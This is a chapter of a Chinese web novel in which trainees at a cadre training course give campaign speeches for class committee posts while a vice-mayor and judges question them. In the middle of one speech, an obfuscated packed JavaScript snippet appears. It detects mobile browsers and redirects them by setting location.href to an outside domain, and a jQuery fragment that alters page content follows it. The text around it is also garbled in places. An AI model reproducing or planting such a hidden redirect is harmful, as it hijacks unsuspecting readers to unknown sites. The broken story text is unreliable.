三号大课堂的吊灯在人群头顶投下暖黄光晕，闻哲的钢笔尖悬在空白笔记本上方，专注等待着学员们围绕“班委职能展开的纯粹展演。
首位登台的林远身着藏青色西装，步伐稳健地将《班级资源交互方案》平铺在讲台上，投影光束映出他精心设计的三维坐标图。他是靖远县城投集团公司的一名干部。
“担任班长的核心，是让108人成为‘有机整体’。
林远的声音如温润玉石，
“我计划构建‘横向资源网+纵向成长轴’：横向按金融政策、基层治理、数字化工具三个维度建立《班级能力档案》，每位同学用三个关键词标注专长（如‘农业保险’‘数据建模’‘民族语言’），系统自动匹配‘互补型学习小组’；
“纵向设计‘阶梯式挑战’，从每周‘微分享’到每月‘主题攻坚’，逐步提升实战能力。
“林远同学，
闻哲打断提问，“如何避免‘能力档案’成为**？
林远从容回应：“档案动态更新机制有三重保障：每周小组互评更新‘实践值’，授课老师课后填写‘专业度评分’，班委定期抽查‘知识转化案例’。例如定向越野的通关积分，将直接关联档案中的‘团队协作’维度。
闻哲对台下的学员笑道：
“我今天纯粹是旁听者，提问也是一时兴起。大家千万不要拘泥于我的提问，而要更注意五位评委老师的观感呵。
他的的笔尖在“动态评估四字上画圈，笔记本边缘添注：强于系统建构，需观察执行韧性。?
第二位登台的苏晴，是宁江县财政局的女干部。她展开淡粉色的《知识转化服务手册》，便签贴纸在灯光下如春日樱花：
“我竞选的，是学习委员。学习委员的使命，是让‘听懂’变为‘会用’。
她举起速记员培训手册，说：
“课前15分钟的‘问题快递’会精准对接课程目标，例如《地方债务管理》课前，我们会收集‘隐性债务识别’的三大典型困惑，提前转交老师调整授课重点；课中采用‘关键词接力’模式，每位同学轮值记录3个核心知识点，课后生成带案例索引的‘知识地图’；每周五的‘错题诊疗室’，邀请同学用‘费曼学习法’讲解
难题——?
“苏晴同学，
邱虹提问，
“如何平衡服务与学习？
苏晴翻开分工表：
“采用‘蜂窝式协作’，学习委员统筹，下设‘情报组’‘速记组’‘复盘组’，每组3人轮值。例如速记组同学记录的20分钟内容，由AI辅助生成初稿，本人只需校对关键数据，全程不超过1小时。
她转向闻哲，说：
“特别设计‘静音弹幕’系统，同学可通过小程序实时标注‘没听懂’的段落，我们会在课间整理成‘重点提示卡’发放。
闻哲在“轻量化执行
来自玉绿县民政局的张扬，抱着笔记本电脑上台时，屏幕跳动着《班级活力引擎计划》动画：“文体委员的职责，是让大脑在‘张弛有度’中迸发灵感。
他说：
“我们设计了‘货币的前世今生’沉浸式体验：在图书馆中庭搭建虚拟钱庄，用不同朝代的金融工具作为线索，通关者可解锁‘金融冷知识盲盒’。每月最后一个周末的‘跨界夜谈’，邀请非遗传承人、程序员、中学教师等外部嘉宾，用‘非金融视角’解读经济现象——?
“张扬同学，
刘院长提问，“如何确保活动兼具趣味性与专业性？
张扬抽出《活动设计双轨制》表单：
“每条活动线都有‘学术顾问+创意总监’双负责人。金融知识点由培训中心老师审核，场景设计交给广告专业的同学主导。所有活动结束后，会通过‘趣味值’‘干货值’双维度问卷收集反馈，低于70分的项目立即启动迭代。
闻哲的钢笔在“跨界融合一词上停顿，加注了：有银行人的脑子。
上午第一个回答闻哲提问的陈默上台时，轻按西装内袋，说：
“生活委员的价值，在于让‘便利’生长在细节里。
他展示再生纸制作的《班级生活指南》，背面印着培训中心楼层导览图，
“我们会在教室后门设置‘共享物资角’：有充电器、润喉糖、便签纸，还有根据天气预报准备的伞具和暖贴；每周收集‘时空胶囊’纸条，同学可写下‘今天想感谢的人’或‘明天想实现的小愿望’，由生活委员随机匹配‘心愿天使’；每月制作‘温度报告’，记录教室空调温度、食堂菜品好评率、热水供应准时率
——”?
“陈默同学，”
闻哲笑道：
“如何让‘细节服务’持续走心？”
陈默推了推眼镜，说：
“建立‘需求沙漏’机制：紧急需求如设备故障，30分钟内响应；常规需求如物资补充，24小时内解决；长期需求如课程时间调整，纳入‘班级发展备忘录’跟踪。这是首周‘微改善’清单：在电梯间增设镜子方便整理着装，在卫生间放置手机支架，在自习室划分‘静音区’与‘讨论区’。”
闻哲的笔尖在“感知力”，又加注道：该生长于事物性工作安排、执行。?
李雪走上讲台时，民族刺绣裙摆轻扫台阶。
闻哲看了看她名字后的那行简历，是来自花桥县苗族自治乡政府办。
“我竞选的是宣传委员。宣传委员的镜头，应该记录‘生长的力量’。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587391|158808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
她点开《班级时光轴》短视频，首帧是开班仪式上学员们略显拘谨的面孔，
“我们计划制作‘108个瞬间’系列短片：每天捕捉3个动人场景——可能是小组讨论时的思维碰撞，可能是课间帮同学捡起掉落的笔记，可能是食堂里分享家乡特产的笑容。每周五的‘光影茶会’，邀请拍摄者讲述照片背后的故事，年末制作成《成长纪念册》——”?“李雪同学，”
邱虹微笑提问：
“如何让镜头语言更具感染力？”
李雪展开《视觉叙事手册》：
“开展‘手机摄影工作坊’，邀请传媒学院老师授课；设置‘主题拍摄周’，如‘色彩中的金融’‘手势里的沟通’，用限定视角激发创造力；建立‘素材银行’，同学可上传原创照片/视频，采用‘贡献值’兑换洗印服务。首期拍摄计划聚焦‘早间课堂’，记录每个人从困倦到专注的蜕变瞬间。”
闻哲在“情感联结”，加注：长于组织活动。?
当周薇抱着红色封面的《班级治理公约》走上讲台时，全场静得能听见投影风扇的轻响。
她将三折页方案展开，红、黄、蓝三色区块如交通信号灯般醒目：
“我提议在学习期间，设立‘班级督察员’岗位，职责是让‘规则’成为成长的护航者，而非束缚的枷锁。”
她抽出《提案生命周期管理表》，
“所有提案必须经过‘**征集（3天）—可行性论证（2天）—风险评估（1天）’三阶段审核，实施过程中每两周公示‘进度热力图’，用绿/黄/红三色标注执行状态。当某项提案支持率低于40%时，自动启动‘暂缓机制’，组织‘正反方辩论会’再做决议——”?
“周薇同学，”闻哲身体前倾：
“如何避免规则僵化？”
周薇翻开《弹性机制附录》，页面间夹着多版修订稿：
“设置‘创新试验田’板块，允许班委用‘沙盒模式’测试新想法，例如张扬同学的剧本杀活动可先在小范围试点；每月第一个周一为‘规则开放日’，任何同学可提交‘公约修正案’，集齐10人联署即启动审议流程。这是我设计的‘意见直通车’卡片，采用无碳复写技术，学员意见会同时送达班委、督导组和培训中心。”闻哲的钢笔在“刚柔并济”一词上重重顿下，笔记本批注更新为：规则构建者，需观察其倾听灰度的能力。
在台上的评委看来，周薇的提议别出心裁，却也有故意卖弄的嫌疑。不过也不奇怪，台上有闻哲副市长，有邱虹巡视员，他们要是发力，改变一个小小的办事员的命运并不难。
竞选演说结束时，窗外已缀满星辰。
闻哲自己的笔记本，上面有林远、苏晴、张扬、李雪、周薇、陈默几个人的名字。